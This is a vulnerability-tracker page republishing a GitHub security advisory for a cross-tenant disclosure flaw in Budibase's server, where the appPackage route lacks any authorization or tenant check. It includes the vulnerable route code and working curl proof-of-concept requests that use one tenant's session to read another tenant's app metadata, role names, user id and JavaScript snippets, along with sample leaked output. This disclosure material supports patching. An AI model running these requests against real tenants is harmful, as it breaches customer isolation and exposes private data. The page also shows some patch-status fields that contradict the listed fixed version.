llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @budibase/server

GHSA-4946-QF2M-WRH5

Cross-tenant application disclosure — any authenticated user can read another tenant's app metadata and source snippets via `GET /api/applications/:appId/appPackage`

Sin parche publicado
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición70 dDesde la divulgación, 10 sept 2026, 4:10 a. m.
Detección69 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
10 sept 26
18 nov 26
19 nov 26
10 sept 26
28 sept 26
15 oct 26
2 nov 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-4946-QF2M-WRH5 divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`GET /api/applications/:appId/appPackage` is registered on `publicRoutes` — a route group declared with no authorization middleware — and its controller performs no authorization check and no tenant check. It resolves the workspace purely from the caller-supplied app id.

A logged-in user of tenant B, who has no relationship of any kind to tenant A, receives tenant A's application document: name, URL, template, full navigation structure with role names and internal screen URLs, the tenant's own JavaScript snippet source, and a user id belonging to tenant A.

Budibase's usual cross-tenant defence — downgrade the caller to `PUBLIC` and de-authenticate — works correctly on the sibling endpoints (they return 401 in the control below). It does not help here, because a downgrade only protects routes that *check a permission*, and this route checks none.

Root Cause

`packages/server/src/api/routes/workspace.ts:33-40`:

// Client only endpoints
publicRoutes
  .get("/api/client/applications", controller.fetchClientApps)
  .get("/api/client/chatapps", controller.fetchClientChatApps)
  .get("/api/applications/:appId/definition", controller.fetchAppDefinition)
  .get("/api/applications", controller.fetch)
  .get("/api/microfrontend/bootstrap", controller.fetchMicrofrontendBootstrap)
  .get("/api/applications/:appId/appPackage", controller.fetchAppPackage)   // <-- no authz

`packages/server/src/api/controllers/workspace.ts:513-548`:

export async function fetchAppPackage(ctx: UserCtx<void, FetchAppPackageResponse>) {
  const appId = context.getWorkspaceId()            // taken straight from the caller's app id
  let [application, layouts, screens, license, recaptchaConfig] = await Promise.all([
    sdk.workspaces.metadata.get(), getLayouts(), sdk.screens.fetch(), ...
  ])
  ...
  // Only filter screens if the user is not a builder call
  const isBuilder = users.isBuilder(ctx.user, appId) && !utils.isClient(ctx)

`isBuilder` is used only to decide screen filtering — never to decide access. There is no comparison of `ctx.user.tenantId` against the tenant encoded in `appId`.

POC

Prerequisites: `curl`, `python3`, and two separate Budibase tenants. Read-only — nothing is created, nothing needs cleanup.

> Important: log into each tenant directly at `https://<tenant>.budibase.app/builder` in two different browsers. Switching tenants through `account.budibase.app` invalidates the other tenant's session server-side, and you will get 403 on everything.

> Replace `<TENANT-B>` / `<COOKIE-B>` / `<CSRF-B>` with the attacker tenant's values, and `<TENANT-A-APP>` with an app id belonging to the victim tenant.

Line 1 — THE BUG: tenant B's session, tenant A's app id
curl -s -H "Cookie: <COOKIE-B>" -H "x-csrf-token: <CSRF-B>" -H "x-budibase-app-id: <TENANT-A-APP>" "https://<TENANT-B>.budibase.app/api/applications/<TENANT-A-APP>/appPackage" | python3 -m json.tool | head -40

RESPONSE

{
    "application": {
        "_id": "app_metadata",
        "appId": "app_dev_hasinocompany_bcb6316e0d014f91939c812389012415",
        "name": "Expense Approval 2s",
        "url": "/expense-approval-2s",
        "template": "app/expense-approval",
        "tenantId": "hasinocompany",
        "createdAt": "2025-09-21T12:59:46.814Z",
        "updatedAt": "2026-07-14T16:12:12.734Z",
        "updatedBy": "us_c0f8414601bd4e94a2f113101c5e76d4",
        "navigation": {
            "title": "Expense Approval",
            "links": [
                {"text": "My Claims", "url": "/my-claims", "roleId": "Employee"},
                {"text": "Claims to Review", "url": "/claims-to-review", "roleId": "Manager"},
                {"text": "Events", "url": "/events", "roleId": "ADMIN"}
            ]
        },
        "snippets": [
            {"name": "FormatCurrency",
             "code": "return function(number) {\n  const formatter = new Intl.NumberFormat('en-US', {\n    style: 'currency',\n    currency: 'USD',\n  });\n  return formatter.format(number);\n}"}
        ],
        "customTheme": {...},
        "version": "3.19.1"
    }
}

The requesting session is `cyber@hasinosec.com` in tenant `hzjuhl6sp`. The document returned is `tenantId: hasinocompany`.

Line 2 — CONTROL: the same session, same moment, on sibling endpoints
for EP in "/api/applications/<TENANT-A-APP>" "/api/datasources" "/api/tables"; do printf "%-70s " "$EP"; curl -s -o /dev/null -w "%{http_code}\n" -H "Cookie: <COOKIE-B>" -H "x-csrf-token: <CSRF-B>" -H "x-budibase-app-id: <TENANT-A-APP>" "https://<TENANT-B>.budibase.app$EP"; done

RESPONSE

/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415   401
/api/datasources                                                          401
/api/tables                                                               401
Line 3 — CONTROL: enumeration is correctly tenant-scoped
curl -s -H "Cookie: <COOKIE-B>" -H "x-csrf-token: <CSRF-B>" "https://<TENANT-B>.budibase.app/api/applications?status=all" | python3 -c "import sys,json;d=json.load(sys.stdin);a=d if isinstance(d,list) else d.get('applications',[]);print('apps visible to tenant B:',[x.get('tenantId') for x in a])"

RESPONSE

apps visible to tenant B: ['hzjuhl6sp']
Line 4 — the routing map leaks too
curl -s -H "Cookie: <COOKIE-B>" -H "x-csrf-token: <CSRF-B>" -H "x-budibase-app-id: <TENANT-A-APP>" "https://<TENANT-B>.budibase.app/api/routing/client"

RESPONSE

{"routes":{"/events":{"subpaths":{}},"/my-claims":{"subpaths":{}},"/claims":{"subpaths":{}}}}

Actual result

Confirmed 4/4 separate runs, each returning `tenantId: hasinocompany` to a session belonging to tenant `hzjuhl6sp`.

Lines 2 and 3 are the important controls: they prove the tenant boundary is enforced everywhere else in the product, and that the platform already knows how to scope by tenant. This one route simply does not.

Full Real-World Attack

1. The attacker signs up for a free Budibase Cloud tenant. That is the entire prerequisite.
2. They obtain a target app id. It is not enumerable, but it is not a secret either:
   it appears in every builder URL (/builder/workspace/app_dev_<tenant>_<hex>/...),
   in shared links, in screenshots posted to support channels, and in any HAR capture
   a customer sends to a vendor.
3. One GET returns the victim's application document.
4. From it the attacker learns the app's purpose, its full navigation tree, its internal
   screen URLs, the exact names of the victim's roles (Employee / Manager / ADMIN),
   a valid user id in the victim tenant, and the victim's own JavaScript source.
5. That is a precise map of the victim's authorization model and internal structure —
   the reconnaissance step for any targeted follow-on attack.

Impact

| Who / what is affected | How |
|---|---|
| Every Budibase Cloud tenant | Its application metadata is readable by any other tenant's user who knows the app id |
| The tenant's authorization model | Role names and per-screen role assignments disclosed |
| Tenant-authored source code | `snippets` returns the customer's JavaScript verbatim |
| Tenant user identities | `updatedBy` returns a real user id from the victim tenant |
| Internal structure | Screen URLs, navigation tree, template, versions and timestamps |
| The multi-tenant isolation boundary | Broken on this route, while enforced on every sibling |

Scope note, stated honestly: no row data, no datasource credentials and no user PII beyond an opaque user id are returned — `screens` comes back empty because the cross-tenant caller is not a builder of that app, so screen filtering removes them. The app id is not enumerable (`/api/applications` is correctly tenant-scoped, see Line 3) and must be obtained out of band. That precondition is the same shape as GHSA-c8vc-7pv3-g98p, which required the victim's `accountId` out of band and was accepted at High with `AC:H`.

Recommended Fix

  1. Move `/api/applications/:appId/appPackage` and `/api/applications/:appId/definition` off `publicRoutes` and add an explicit assertion that the caller's tenant matches the tenant encoded in the requested `appId`, before any document is read.
  2. Do not rely on the `PUBLIC`-role downgrade for isolation — it is inert on any route that does not check a permission. Audit the whole `publicRoutes` group on that basis.
  3. `snippets` contains tenant-authored source and should not be included in a package served to anyone who is not a builder of that workspace.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
@budibase/server< 3.45.0
3.38.1
3.45.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@budibase/server
Sin parche — — 3.38.1 afectada
Versiones corregidas3.45.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Budibase/budibase/security/advisories/GHSA-4946-qf2m-wrh5

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.